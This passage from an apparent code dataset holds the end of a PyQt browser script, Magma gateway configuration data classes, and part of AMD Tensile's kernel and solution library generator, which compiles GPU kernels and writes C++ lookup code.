DOWNLOAD FOI INICIALIZADO\")\n\tmsg.setIcon(QMessageBox.Warning)\n\tmsg.exec_()\n\napplication = QApplication([])\n\nmainWindow= QMainWindow()\nmainWindow.setGeometry(0,0,1015,768)\nmainWindow.setMinimumWidth(1015)\nmainWindow.setMaximumWidth(1015)\nmainWindow.setMinimumHeight(768)\nmainWindow.setMaximumHeight(768)\nmainWindow.setWindowTitle(\"MyBrowser\")\nmainWindow.setStyleSheet(\"background-color:rgb(0,0,0);\")\nmainWindow.setWindowIcon(QIcon(\"browser.png\"))\n\nweb = QWebEngineView(mainWindow)\nweb.setGeometry(0,30,1015,768)\nweb.setStyleSheet(\"background-color:rgb(255,255,255);\")\nweb.load(QUrl(home_url))\n\nhome_button = QToolButton(mainWindow)\nhome_button.setGeometry(10,3,25,25)\nhome_button.setStyleSheet(\"background-color:transparent;\")\nhome_button_icon = QIcon()\nhome_button_icon.addPixmap(QPixmap(\"home.png\"))\nhome_button.setIcon(home_button_icon)\nhome_button.clicked.connect(home)\n\nreload_button = QToolButton(mainWindow)\nreload_button.setGeometry(60,3,25,25)\nreload_button.setStyleSheet(\"background-color:transparent;\")\nreload_button_icon = QIcon()\nreload_button_icon.addPixmap(QPixmap(\"reload.png\"))\nreload_button.setIcon(reload_button_icon)\nreload_button.clicked.connect(reload)\n\nback_button = QToolButton(mainWindow)\nback_button.setGeometry(140,3,25,25)\nback_button.setStyleSheet(\"background-color:transparent;\")\nback_button_icon = QIcon()\nback_button_icon.addPixmap(QPixmap(\"back.png\"))\nback_button.setIcon(back_button_icon)\nback_button.clicked.connect(back)\n\nforward_button = QToolButton(mainWindow)\nforward_button.setGeometry(180,3,25,25)\nforward_button.setStyleSheet(\"background-color:transparent;\")\nforward_button_icon = QIcon()\nforward_button_icon.addPixmap(QPixmap(\"forward.png\"))\nforward_button.setIcon(forward_button_icon)\nforward_button.clicked.connect(forward)\n\ngo_line = QLineEdit(mainWindow)\ngo_line.setGeometry(280,3,300,25)\ngo_line.setStyleSheet(\"background-color:rgb(255,255,255);\")\n\ngo_button = QToolButton(mainWindow)\ngo_button.setGeometry(600,3,25,25)\ngo_button.setStyleSheet(\"background-color:transparent;\")\ngo_button_icon = QIcon()\ngo_button_icon.addPixmap(QPixmap(\"go.png\"))\ngo_button.setIcon(go_button_icon)\ngo_button.clicked.connect(go)\n\nfacebook_button = QToolButton(mainWindow)\nfacebook_button.setGeometry(905,3,50,25)\nfacebook_button.setStyleSheet(\"background-color:transparent;\")\nfacebook_button_icon = QIcon()\nfacebook_button_icon.addPixmap(QPixmap(\"fb.png\"))\nfacebook_button.setIcon(facebook_button_icon)\nfacebook_button.setIconSize(QSize(22,22))\nfacebook_button.clicked.connect(facebook)\n\ntwitter_button = QToolButton(mainWindow)\ntwitter_button.setGeometry(940,3,50,25)\ntwitter_button.setStyleSheet(\"background-color:transparent;\")\ntwitter_button_icon = QIcon()\ntwitter_button_icon.addPixmap(QPixmap(\"tw.png\"))\ntwitter_button.setIcon(twitter_button_icon)\ntwitter_button.setIconSize(QSize(22,22))\ntwitter_button.clicked.connect(twitter)\n\nyoutube_button = QToolButton(mainWindow)\nyoutube_button.setGeometry(975,3,50,25)\nyoutube_button.setStyleSheet(\"background-color:transparent;\")\nyoutube_button_icon = QIcon()\nyoutube_button_icon.addPixmap(QPixmap(\"yt.png\"))\nyoutube_button.setIcon(youtube_button_icon)\nyoutube_button.setIconSize(QSize(22,22))\nyoutube_button.clicked.connect(youtube)\n\n\nmainWindow.show()\napplication.exec_()", "source": "felipedavi/MyBrowserProject", "license": "MIT"} {"text": "\"\"\"\nCopyright 2020 The Magma Authors.\n\nThis source code is licensed under the BSD-style license found in the\nLICENSE file in the root directory of this source tree.\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n\"\"\"\n\nfrom typing import List, NamedTuple\n\nClientCert = NamedTuple(\n 'ClientCert',\n [('cert', str), ('key', str)],\n)\n\n\nclass NetworkDNSConfig:\n def __init__(self, enable_caching: bool, local_ttl: int):\n self.enable_caching = enable_caching\n self.local_ttl = local_ttl\n\n\nclass GenericNetwork:\n def __init__(self, id: str, name: str, description: str,\n dns: NetworkDNSConfig):\n self.id = id\n self.name = name\n self.description = description\n self.dns = dns\n\n\nclass MagmadGatewayConfigs:\n def __init__(self,\n autoupgrade_enabled: bool,\n autoupgrade_poll_interval: int,\n checkin_interval: int,\n checkin_timeout: int):\n self.autoupgrade_enabled = autoupgrade_enabled\n self.autoupgrade_poll_interval = autoupgrade_poll_interval\n self.checkin_interval = checkin_interval\n self.checkin_timeout = checkin_timeout\n\n\nclass ChallengeKey:\n def __init__(self, key_type: str):\n self.key_type = key_type\n\n\nclass GatewayDevice:\n def __init__(self, hardware_id: str, key: ChallengeKey):\n self.hardware_id = hardware_id\n self.key = key\n\n\nclass Gateway:\n def __init__(self,\n id: str,\n name: str, description: str,\n magmad: MagmadGatewayConfigs,\n device: GatewayDevice,\n tier: str):\n self.id = id\n self.name, self.description = name, description,\n self.magmad = magmad\n self.device = device\n self.tier = tier\n\n\nclass TierImage:\n def __init__(self, name: str, order: int):\n self.name = name\n self.order = order\n\n\nclass Tier:\n def __init__(self, id: str, version: str, images: List[TierImage],\n gateways: List[str]):\n self.id = id\n self.version = version\n self.images = images\n self.gateways = gateways\n", "source": "gurrapualt/magma", "license": "BSD-3-Clause"} {"text": "################################################################################\n# Copyright (C) 2016-2019 Advanced Micro Devices, Inc. All rights reserved.\n#\n# Permission is hereby granted, free of charge, to any person obtaining a copy\n# of this software and associated documentation files (the \"Software\"), to deal\n# in the Software without restriction, including without limitation the rights\n# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell cop-\n# ies of the Software, and to permit persons to whom the Software is furnished\n# to do so, subject to the following conditions:\n#\n# The above copyright notice and this permission notice shall be included in all\n# copies or substantial portions of the Software.\n#\n# THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IM-\n# PLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS\n# FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR\n# COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER\n# IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNE-\n# CTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.\n################################################################################\n# This script only gets called by CMake\n\nif __name__ == \"__main__\":\n print(\"This file can no longer be run as a script. Run 'Tensile/bin/TensileCreateLibrary' instead.\")\n exit(1)\n\nfrom . import Common\nfrom . import EmbeddedData\nfrom . import Utils\nfrom . import YAMLIO\nfrom .Common import globalParameters, HR, print1, print2, printExit, ensurePath, \\\n CHeader, CMakeHeader, assignGlobalParameters, ProgressBar, \\\n listToInitializer\nfrom .KernelWriterAssembly import KernelWriterAssembly\nfrom .KernelWriterSource import KernelWriterSource\nfrom .SolutionStructs import Solution\nfrom .SolutionWriter import SolutionWriter\n\nimport argparse\nimport collections\nimport itertools\nimport os\nimport shutil\nimport subprocess\nimport sys\nimport time\n\n################################################################################\ndef processKernelSource(kernel, kernelWriterSource, kernelWriterAssembly):\n \"\"\"\n Generate source for a single kernel.\n Returns (error, source, header, kernelName).\n \"\"\"\n try:\n kernelWriter = kernelWriterSource if kernel[\"KernelLanguage\"] == \"Source\" else kernelWriterAssembly\n # get kernel name\n kernelName = kernelWriter.getKernelName(kernel)\n #sys.stderr.write(\"kernel:%s\\n\"% kernelName)\n (err, src) = kernelWriter.getSourceFileString(kernel)\n header = kernelWriter.getHeaderFileString(kernel)\n except RuntimeError:\n return (1, \"\", \"\", kernelName)\n\n return (err, src, header, kernelName)\n\ndef getAssemblyCodeObjectFiles(kernels, kernelWriterAssembly, outputPath):\n destDir = ensurePath(os.path.join(outputPath, 'library'))\n asmDir = kernelWriterAssembly.getAssemblyDirectory()\n assemblyKernels = list([k for k in kernels if k['KernelLanguage'] == 'Assembly'])\n if len(assemblyKernels) == 0:\n return []\n\n if globalParameters[\"MergeFiles\"]:\n archs = collections.defaultdict(list)\n for k in assemblyKernels:\n archs[tuple(k['ISA'])].append(k)\n\n coFiles = []\n for arch, archKernels in archs.items():\n objectFiles = list([kernelWriterAssembly.getKernelName(k) + '.o' \\\n for k in archKernels \\\n if k['KernelLanguage'] == 'Assembly'])\n if len(objectFiles) == 0:\n continue\n\n archName = 'gfx'+''.join(map(str,arch))\n coFile = os.path.join(destDir, 'TensileLibrary_{}.co'.format(archName))\n args = kernelWriterAssembly.getLinkCodeObjectArgs(objectFiles, coFile)\n subprocess.check_call(args, cwd=asmDir)\n coFiles.append(coFile)\n\n return coFiles\n\n else:\n assemblyKernelNames = [kernelWriterAssembly.getKernelName(k) for k in assemblyKernels]\n origCOFiles = [os.path.join(asmDir, k + '.co') for k in assemblyKernelNames]\n newCOFiles = [os.path.join(destDir, k + '.co') for k in assemblyKernelNames]\n for src, dst in Utils.tqdm(zip(origCOFiles, newCOFiles), \"Copying code objects\"):\n shutil.copyfile(src, dst)\n\n return newCOFiles\n\ndef which(p):\n exes = [p+x for x in ['', '.exe', '.bat']]\n system_path = os.environ['PATH'].split(os.pathsep)\n for dirname in system_path+['/opt/rocm/bin']:\n for exe in exes:\n candidate = os.path.join(os.path.expanduser(dirname), exe)\n if os.path.isfile(candidate):\n return candidate\n return None\n\n\ndef buildSourceCodeObjectFile(CxxCompiler, outputPath, kernelFile):\n buildPath = ensurePath(os.path.join(globalParameters['WorkingPath'], 'code_object_tmp'))\n destDir = ensurePath(os.path.join(outputPath, 'library'))\n (_, filename) = os.path.split(kernelFile)\n (base, _) = os.path.splitext(filename)\n\n objectFilename = base + '.o'\n objectFilepath = os.path.join(buildPath, objectFilename)\n\n soFilename = base + '.so'\n soFilepath = os.path.join(buildPath, soFilename)\n\n archs = ['gfx'+''.join(map(str,arch)) for arch in globalParameters['SupportedISA'] \\\n if globalParameters[\"AsmCaps\"][arch][\"SupportedISA\"]]\n\n archFlags = ['--amdgpu-target=' + arch for arch in archs]\n\n if (CxxCompiler == 'hcc'):\n\n hipFlags = subprocess.check_output([which('hcc-config'), '--cxxflags']).decode().split(' ')\n # when HCC_HOME is defined -I/opt/rocm/include is *not* part of\n # hcc-config --cxxflags; so we need hipconfig -C to be safe\n hipFlags += subprocess.check_output([which('hipconfig'), '-C']).decode().split(' ')\n hipLinkFlags = subprocess.check_output([which('hcc-config'), '--ldflags', '--shared']).decode().split(' ')\n\n hipFlags += ['-I', outputPath, '-fPIC']\n\n compileArgs = [which('hcc')] + hipFlags + [kernelFile, '-c', '-o', objectFilepath]\n\n linkArgs = [globalParameters['AssemblerPath']] + hipLinkFlags + archFlags + [objectFilepath, '-shared', '-o', soFilepath]\n extractArgs = [globalParameters['ExtractKernelPath'], '-i', soFilename]\n\n #print(' '.join(compileArgs))\n subprocess.check_call(compileArgs)\n\n #print(' '.join(linkArgs))\n subprocess.check_call(linkArgs)\n\n #print(' '.join(extractArgs))\n subprocess.check_call(extractArgs, cwd=buildPath)\n\n coFilenames = [\"{0}-000-{1}.hsaco\".format(soFilename, arch) for arch in archs]\n elif (CxxCompiler == \"hipcc\"):\n\n hipFlags = [\"--genco\", \"-D__HIP_HCC_COMPAT_MODE__=1\"]\n\n hipFlags += ['-I', outputPath]\n\n compileArgs = [which('hipcc')] + hipFlags + archFlags + [kernelFile, '-c', '-o', soFilepath]\n\n #print(' '.join(compileArgs))\n subprocess.check_call(compileArgs)\n\n coFilenames = [soFilename]\n else:\n raise RuntimeError(\"Unknown compiler {}\".format(CxxCompiler))\n\n extractedCOs = [os.path.join(buildPath, name) for name in coFilenames]\n destCOs = [os.path.join(destDir, name) for name in coFilenames]\n\n for (src, dst) in zip(extractedCOs, destCOs):\n shutil.copyfile(src, dst)\n\n return destCOs\n\ndef buildSourceCodeObjectFiles(CxxCompiler, kernelFiles, outputPath):\n args = zip(itertools.repeat(CxxCompiler), itertools.repeat(outputPath), kernelFiles)\n\n coFiles = Common.ParallelMap(buildSourceCodeObjectFile, args, \"Compiling source kernels\",\n method=lambda x: x.starmap)\n\n return itertools.chain.from_iterable(coFiles)\n\n################################################################################\ndef prepAsm():\n \"\"\"\n Create and prepare the assembly directory - called ONCE per output dir:\n \"\"\"\n asmPath = ensurePath(os.path.join(globalParameters[\"WorkingPath\"], \"assembly\") )\n assemblerFileName = os.path.join(asmPath, \\\n \"asm.%s\"%(\"bat\" if os.name==\"nt\" else \"sh\"))\n assemblerFile = open(assemblerFileName, \"w\")\n if os.name == \"nt\":\n assemblerFile.write(\"echo Windows: Copying instead of Assembling\\n\")\n assemblerFile.write(\"copy %1.s %1.o\\n\")\n assemblerFile.write(\"copy %1.o %1.co\\n\")\n else:\n assemblerFile.write(\"#!/bin/sh %s\\n\" % (\"-x\" if globalParameters[\"PrintLevel\"] >=2 else \"\"))\n assemblerFile.write(\"# usage: asm.sh kernelName ASM_ARGS\\n\")\n assemblerFile.write(\"# example: asm.sh kernelName -mcpu=gfx900\\n\")\n assemblerFile.write(\"f=$1\\n\")\n assemblerFile.write(\"shift\\n\")\n assemblerFile.write(\"ASM=%s\\n\"%globalParameters[\"AssemblerPath\"])\n # cannot use globalParameters[\"CurrentISA\"] because it might be (0,0,0)\n defaultIsa = (9,0,0)\n assemblerFile.write( \\\n \"${ASM} -x assembler -target amdgcn-amd-amdhsa %s $@ -c -o $f.o $f.s\\n\" % \\\n (\"-mno-code-object-v3\" if \\\n globalParameters[\"AsmCaps\"][defaultIsa][\"HasCodeObjectV3\"] and \\\n globalParameters[\"CodeObjectVersion\"] == \"V2\" else \"-mcode-object-v3\"))\n assemblerFile.write(\"${ASM} -target amdgcn-amd-amdhsa $f.o -o $f.co\\n\")\n assemblerFile.close()\n os.chmod(assemblerFileName, 0o777)\n\n################################################################################\ndef buildKernelSourceAndHeaderFiles(results, outputPath, kernelsWithBuildErrs, \\\n kernelSourceFile, kernelHeaderFile):\n \"\"\"\n Logs errors and writes appropriate info to kernelSourceFile and kernelHeaderFile.\n\n Arguments:\n results: list of (err, src, header, kernelName)\n outputPath: path to source directory\n kernelsWithBuildErrs: Dictionary to be updated with kernels that have errors\n kernelSourceFile: File to write source data to\n kernelHeaderFile: File to write header data to\n \"\"\"\n\n sourceFilenames = []\n\n for (err,src,header,kernelName) in results:\n if err:\n kernelsWithBuildErrs[kernelName] = err\n #print \"*** warning: invalid kernel#%s\"%kernelName\n\n # write kernel.cpp\n if not globalParameters[\"MergeFiles\"]:\n filename = os.path.join(outputPath, \"Kernels\", kernelName+\".cpp\")\n sourceFilenames.append(filename)\n kernelSourceFile = open(filename, \"w\")\n kernelSourceFile.write(CHeader)\n\n kernelSourceFile.write(src)\n\n if not globalParameters[\"MergeFiles\"]:\n kernelSourceFile.close()\n # write kernel.h\n kernelHeaderFile = open(os.path.join(outputPath, \"Kernels\", kernelName+\".h\"), \"w\")\n kernelHeaderFile.write(CHeader)\n\n kernelHeaderFile.write(header)\n\n if not globalParameters[\"MergeFiles\"]:\n kernelHeaderFile.close()\n\n return sourceFilenames\n\n################################################################################\n# Write Solutions and Kernels for BenchmarkClient or LibraryClient\n################################################################################\ndef writeSolutionsAndKernels(outputPath, CxxCompiler, problemTypes, solutions, kernels, kernelsBetaOnly, \\\n solutionWriter, kernelWriterSource, kernelWriterAssembly, errorTolerant=False):\n start = time.time()\n\n codeObjectFiles = []\n\n print1(\"# Writing Kernels...\")\n if not globalParameters[\"MergeFiles\"]:\n ensurePath(os.path.join(outputPath, \"Solutions\"))\n ensurePath(os.path.join(outputPath, \"Kernels\"))\n\n ##############################################################################\n # Write Kernels\n ##############################################################################\n kernelFiles = []\n if globalParameters[\"MergeFiles\"]:\n kernelSourceFilename = os.path.join(outputPath, \"Kernels.cpp\")\n kernelHeaderFilename = os.path.join(outputPath, \"Kernels.h\")\n\n kernelFiles.append(kernelSourceFilename)\n kernelSourceFile = open(kernelSourceFilename, \"w\")\n kernelHeaderFile = open(kernelHeaderFilename, \"w\")\n kernelSourceFile.write(CHeader)\n kernelHeaderFile.write(CHeader)\n kernelSourceFile.write(\"#include \\\"Kernels.h\\\"\\n\")\n kernelHeaderFile.write(\"#pragma once\\n\")\n if globalParameters[\"RuntimeLanguage\"] == \"HIP\":\n kernelHeaderFile.write(\"#include \\n\")\n kernelHeaderFile.write(\"#include \\n\\n\")\n kernelHeaderFile.write(\"#include \\\"KernelHeader.h\\\"\\n\\n\")\n else:\n kernelSourceFile = None\n kernelHeaderFile = None\n\n kernelsWithBuildErrs = {}\n\n prepAsm()\n\n kIter = zip(kernels, itertools.repeat(kernelWriterSource), itertools.repeat(kernelWriterAssembly))\n results = Common.ParallelMap(processKernelSource, kIter, \"Generating kernels\", method=lambda x: x.starmap)\n print(len(results))\n\n removeKernels = []\n removeSolutions = []\n removeResults = []\n for kernIdx in range(0, len(results)):\n (err,src,header,kernelName) = results[kernIdx]\n if(err == -2):\n removeKernels.append(kernels[kernIdx])\n removeSolutions.append(solutions[kernIdx])\n removeResults.append(results[kernIdx])\n for kern in removeKernels:\n kernels.remove(kern)\n for solut in removeSolutions:\n solutions.remove(solut)\n for rel in removeResults:\n results.remove(rel)\n\n kernelFiles += buildKernelSourceAndHeaderFiles(results, outputPath, kernelsWithBuildErrs, kernelSourceFile, kernelHeaderFile)\n\n kernelsToBuild = list(kernels)\n if errorTolerant:\n def success(kernel):\n writer = kernelWriterAssembly if kernel['KernelLanguage'] == 'Assembly' else kernelWriterSource\n kernelName = writer.getKernelName(kernel)\n return kernelName not in kernelsWithBuildErrs\n kernelsToBuild = list(filter(success, kernelsToBuild))\n\n if False:#len(kernelsWithBuildErrs) > 0:\n print(\"\\nKernel compilation failed in one or more subprocesses. May want to set CpuThreads=0 and re-run to make debug easier\")\n printExit(\"** kernel compilation failure **\")\n\n\n # beta-only kernels\n for kernel in kernelsBetaOnly:\n kernelWriter = kernelWriterSource\n kernelName = kernelWriter.getKernelNameBetaOnly(kernel)\n\n # write kernel.cpp\n if not globalParameters[\"MergeFiles\"]:\n kernelSourceFilename = os.path.join(outputPath, \"Kernels\", kernelName+\".cpp\")\n kernelSourceFile = open(kernelSourceFilename, \"w\")\n kernelSourceFile.write(CHeader)\n kernelFiles.append(kernelSourceFilename)\n\n (err, src) = kernelWriter.getSourceFileStringBetaOnly(kernel)\n kernelSourceFile.write(src)\n if err:\n print(\"*** warning: invalid kernel#%u\"%kernelName)\n if not globalParameters[\"MergeFiles\"]:\n kernelSourceFile.close()\n # write kernel.h\n if not globalParameters[\"MergeFiles\"]:\n kernelHeaderFile = open(os.path.join(outputPath, \"Kernels\", kernelName + \".h\"), \"w\")\n kernelHeaderFile.write(CHeader)\n kernelHeaderFile.write( kernelWriter.getHeaderFileStringBetaOnly(kernel))\n if not globalParameters[\"MergeFiles\"]:\n kernelHeaderFile.close()\n\n # close merged\n if globalParameters[\"MergeFiles\"]:\n kernelSourceFile.close()\n kernelHeaderFile.close()\n\n kernelsToBuild += kernelsBetaOnly\n\n codeObjectFiles += buildSourceCodeObjectFiles(CxxCompiler, kernelFiles, outputPath)\n codeObjectFiles += getAssemblyCodeObjectFiles(kernelsToBuild, kernelWriterAssembly, outputPath)\n\n stop = time.time()\n print(\"# Kernel Building elapsed time = %.1f secs\" % (stop-start))\n\n print1(\"# Writing Solutions\")\n if globalParameters[\"ShowProgressBar\"]:\n progressBar = ProgressBar(len(solutions))\n ##############################################################################\n # Write Solutions\n ##############################################################################\n\n solutionSourceFilename = os.path.join(outputPath, \"Solutions.cpp\")\n solutionHeaderFilename = os.path.join(outputPath, \"Solutions.h\")\n\n solutionSourceFile = open(solutionSourceFilename, \"w\")\n solutionHeaderFile = open(solutionHeaderFilename, \"w\")\n solutionSourceFile.write(CHeader)\n solutionHeaderFile.write(CHeader)\n\n solutionSourceFile.write(\"#include \\\"Solutions.h\\\"\\n\")\n solutionSourceFile.write(\"#include \\n\")\n\n solutionHeaderFile.write(\"#include \\\"TensileTypes.h\\\"\\n\")\n solutionHeaderFile.write(\"#include \\\"SolutionHelper.h\\\"\\n\")\n solutionHeaderFile.write(\"#include \\\"Tools.h\\\"\\n\")\n if globalParameters[\"CodeFromFiles\"]:\n solutionHeaderFile.write(\"#include \\n\")\n if globalParameters[\"MergeFiles\"]:\n solutionHeaderFile.write(\"#include \\\"Kernels.h\\\"\\n\")\n\n\n # Write a solution pointer typedef for each problemType:\n h = \"\"\n for problemType in problemTypes:\n #print \"p=\", problemType\n argListAll = solutionWriter.getArgList(problemType, True, True, True, True)\n # declare TensileSolutionPointer_ProblemType\n h += \"\\n// solution pointer\\n\"\n h += \"typedef TensileStatus (*TensileSolutionPointer_%s)(\\n\" % problemType\n for i in range(0, len(argListAll)):\n h += \" %s %s%s\" % (argListAll[i][0], argListAll[i][1], \",\\n\" \\\n if i < len(argListAll)-1 else \");\\n\\n\")\n h += \"\\n\"\n\n solutionHeaderFile.write(h)\n#\n for solution in solutions:\n # get solution name\n if not globalParameters[\"MergeFiles\"]:\n solutionFileName = solutionWriter.getSolutionName(solution)\n\n # write solution.cpp\n if not globalParameters[\"MergeFiles\"]:\n solutionSourceFile = open(os.path.join(outputPath, \\\n \"Solutions\", solutionFileName+\".cpp\"), \"w\")\n solutionSourceFile.write(CHeader)\n solutionSourceFile.write( \\\n solutionWriter.getProblemSourceString(solution[\"ProblemType\"], solution, kernelsWithBuildErrs))\n if not globalParameters[\"MergeFiles\"]:\n solutionSourceFile.close()\n\n # write solution.h\n if not globalParameters[\"MergeFiles\"]:\n solutionHeaderFile = open(os.path.join(outputPath, \\\n \"Solutions\", solutionFileName+\".h\"), \"w\")\n solutionHeaderFile.write(CHeader)\n solutionHeaderFile.write( \\\n solutionWriter.getHeaderFileString(solution))\n if not globalParameters[\"MergeFiles\"]:\n solutionHeaderFile.close()\n if globalParameters[\"ShowProgressBar\"]:\n progressBar.increment()\n # close merged\n if not globalParameters[\"MergeFiles\"]:\n solutionHeaderFile.close()\n\n if globalParameters[\"ExitAfterKernelGen\"]:\n printExit(\"** Exiting after kernel generation due to ExitAfterKernelGen=1\")\n\n return codeObjectFiles\n\n################################################################################\n# Write Logic\n################################################################################\ndef writeLogic(outputPath, logicData, solutionWriter ):\n print1(\"# Writing Library Logic\")\n\n if not globalParameters[\"MergeFiles\"]:\n ensurePath(os.path.join(outputPath, \"Logic\"))\n\n # Tensile.h\n h = \"\"\n h += \"#pragma once\\n\"\n h += \"#include \\\"TensileTypes.h\\\"\\n\"\n h += \"#include \\\"SolutionHelper.h\\\"\\n\"\n h += \"#include \\\"SolutionMapper.h\\\"\\n\"\n\n # TensileInternal.h\n ih = \"\"\n ih += \"#include \\\"Tensile.h\\\"\\n\"\n\n # Tensile.cpp\n\n sourceIncludes = \"\"\n sourceIncludes += \"#include \\\"Solutions.h\\\"\\n\"\n sourceIncludes += \"#include \\\"Tensile.h\\\"\\n\"\n sourceIncludes += \"#include \\\"TensileInternal.h\\\"\\n\"\n sourceIncludes += \"#include \\\"SolutionMapper.h\\\"\\n\"\n\n s = sourceIncludes\n\n ########################################\n # problemType\n for problemType in logicData:\n\n # function argument list\n argListSizes = solutionWriter.getArgList(problemType, False, False, False, False)\n argListData = solutionWriter.getArgList(problemType, False, True, True, True)\n argListAll = solutionWriter.getArgList(problemType, True, True, True, True)\n \n # tensile initializer\n h += \"\\nvoid tensileInitialize();\\n\\n\"\n\n # declare tensile_ProblemType\n h += \"\\n// enqueue solution\\n\"\n h += \"TensileStatus tensile_%s(\\n\" % problemType\n for i in range(0, len(argListData)):\n h += \" %s %s%s\" \\\n % (argListData[i][0], argListData[i][1], \\\n \",\\n\" if i < len(argListData)-1 else \");\\n\\n\")\n\n\n numSizes = problemType[\"TotalIndices\"];\n firstStride = 0 if problemType[\"UseInitialStrides\"] else 1\n lastStrideA = len(problemType[\"IndexAssignmentsA\"])\n lastStrideB = len(problemType[\"IndexAssignmentsB\"])\n lastStrideC = problemType[\"NumIndicesC\"]\n lastStrideD = problemType[\"NumIndicesC\"]\n h += \"typedef ProblemKey<%u> ProblemKey_%s;\\n\" % (numSizes,problemType)\n h += \"typedef ProblemDims<%u,%u,%u,%u,%u,%u> ProblemDims_%s;\\n\" \\\n % (firstStride, lastStrideD, lastStrideC, lastStrideA, lastStrideB, numSizes, problemType)\n h += \"typedef SolutionMapper SolutionMapper_%s;\\n\" \\\n % (problemType, problemType, problemType)\n\n # declare tensileGetSolutionPointer_ProblemType\n h += \"\\n// get solution pointer\\n\"\n h += \"SolutionMapper_%s::SolutionRuntime *\\n\" % (problemType)\n h += \"tensileGetSolutionPointer_%s(\\n\" % (problemType)\n for i in range(0, len(argListSizes)):\n h += \" %s %s%s\" \\\n % (argListSizes[i][0], argListSizes[i][1], \\\n \",\\n\" if i < len(argListSizes)-1 else \");\\n\\n\")\n\n # declare tensileName_\n h += \"// get solution name\\n\"\n h += \"const char * tensileGetSolutionName_%s(\\n\" \\\n % (problemType)\n for i in range(0, len(argListSizes)):\n h += \" %s %s%s\" \\\n % (argListSizes[i][0], argListSizes[i][1], \\\n \",\\n\" if i < len(argListSizes)-1 else \");\\n\\n\")\n\n\n # get solution naming for problem type\n solutionsForProblemType = []\n for scheduleTuple in logicData[problemType]:\n solutionsForSchedule = scheduleTuple[2]\n for solution in solutionsForSchedule:\n if solution not in solutionsForProblemType:\n solutionsForProblemType.append(solution)\n\n # solution names for problem type\n solutionNamesForProblemType = []\n for solution in solutionsForProblemType:\n solutionName = solutionWriter.getSolutionName(solution)\n solutionNamesForProblemType.append(solutionName)\n\n # reset problemType source\n if not globalParameters[\"MergeFiles\"]:\n filePrefix = \"Tensile_%s\" % (problemType)\n s = sourceIncludes\n\n for solutionName in solutionNamesForProblemType:\n s += \"#include \\\"%s.h\\\"\\n\" % solutionName\n\n ########################################\n # Per-problem constants here:\n # These are common for all schedules and thus do not include schedule name (vega,hip,etc)\n s += \"\\n\"\n s += \"/*******************************************************************************\\n\"\n s += \"* Per-Problem Functions for %s\\n\" % problemType\n s += \"*******************************************************************************/\\n\"\n\n s += \"// Problem type include the index assignments for free, summation, batch:\\n\"\n s += \"static const ProblemType problemType_%s( \" % problemType\n s += listToInitializer(problemType[\"IndicesFree\"]) + \", \"\n s += listToInitializer(problemType[\"IndicesSummation\"]) + \", \"\n s += listToInitializer(problemType[\"IndicesBatch\"]) + \", \"\n s += listToInitializer(problemType[\"IndexAssignmentsA\"]) + \", \"\n s += listToInitializer(problemType[\"IndexAssignmentsB\"])\n s += \");\\n\"\n\n s += \"\\n\"\n s += \"// Master solution mapper is the entry point for problem->solution mapping\\n\"\n s += \"// There is one master solution mapper per problem type\\n\"\n s += \"// The master solution mapper contains pointers to the solution mappers for each device\\n\"\n s += \"static MasterSolutionMapper masterSolutionMapper_%s;\\n \" % (problemType,problemType)\n\n\n ########################################\n # implement per-Schedule functions in source\n s += \"\\n\"\n s += \"/*******************************************************************************\\n * Per-Schedule Functions\\n *******************************************************************************/\"\n for scheduleTuple in logicData[problemType]:\n\n # get logic parameters for problem type\n scheduleName = scheduleTuple[0]\n deviceNames = scheduleTuple[1]\n solutionsForSchedule = scheduleTuple[2]\n indexOrder = scheduleTuple[3]\n exactLogic = scheduleTuple[4]\n rangeLogic = scheduleTuple[5]\n\n # solution names for schedule\n solutionNamesForSchedule = []\n for solution in solutionsForSchedule:\n solutionName = solutionWriter.getSolutionName(solution)\n solutionNamesForSchedule.append(solutionName)\n\n s += \"\\n\\n\"\n schedProbName = \"%s_%s\" % (scheduleName, problemType)\n s += writeSolutionAndExactTable(scheduleName, deviceNames, schedProbName, problemType, \\\n solutionsForSchedule, solutionNamesForSchedule, exactLogic)\n\n\n # Per-problem function here:\n # function tensileGetSolutionPointer_ProblemType\n del schedProbName\n del scheduleName\n s += \"\\n// problem dims -> solution logic\\n\"\n s += \"SolutionMapper_%s::SolutionRuntime *\\n\" % (problemType)\n s += \"tensileGetSolutionPointer_%s(\\n\" % (problemType)\n for i in range(0, len(argListSizes)):\n s += \" %s %s%s\" \\\n % (argListSizes[i][0], argListSizes[i][1], \\\n \",\\n\" if i < len(argListSizes)-1 else \") {\\n\\n\")\n\n exactLogicStr = writeExactLogic(problemType, indexOrder, \\\n solutionsForSchedule, exactLogic, \\\n solutionNamesForSchedule, True)\n if rangeLogic != None:\n print(\"** warning: ignored ranges in logic file, these should have been expanded with ExpandRanges=1 during Tensile phase 3\")\n s += \" /* exact mappings */\\n\"\n s += exactLogicStr\n s += \"\\n return nullptr;\\n\"\n s += \"\\n}\\n\"\n\n # function tensileGetSolutionName_Schedule_ProblemType\n s += \"\\n// get solution name for problem dims\\n\"\n s += \"const char * tensileGetSolutionName_%s(\\n\" \\\n % (problemType)\n for i in range(0, len(argListSizes)):\n s += \" %s %s%s\" \\\n % (argListSizes[i][0], argListSizes[i][1], \\\n \",\\n\" if i < len(argListSizes)-1 else \") {\\n\\n\")\n\n exactLogicStr = writeExactLogic(problemType, indexOrder, \\\n solutionsForSchedule, exactLogic, \\\n solutionNamesForSchedule, False)\n s += \" /* exact mappings */\\n\"\n s += exactLogicStr\n #s += \" return NULL; // none\\n\"\n s += \"\\n}\\n\"\n\n ########################################\n # implement problem-type functions in source\n s += \"/*******************************************************************************\\n * Per-ProblemType Functions\\n *******************************************************************************/\"\n\n\n # declare tensile_ProblemType\n s += \"\\n// main call to solution; enqueues a kernel\\n\"\n s += \"TensileStatus tensile_%s(\\n\" % 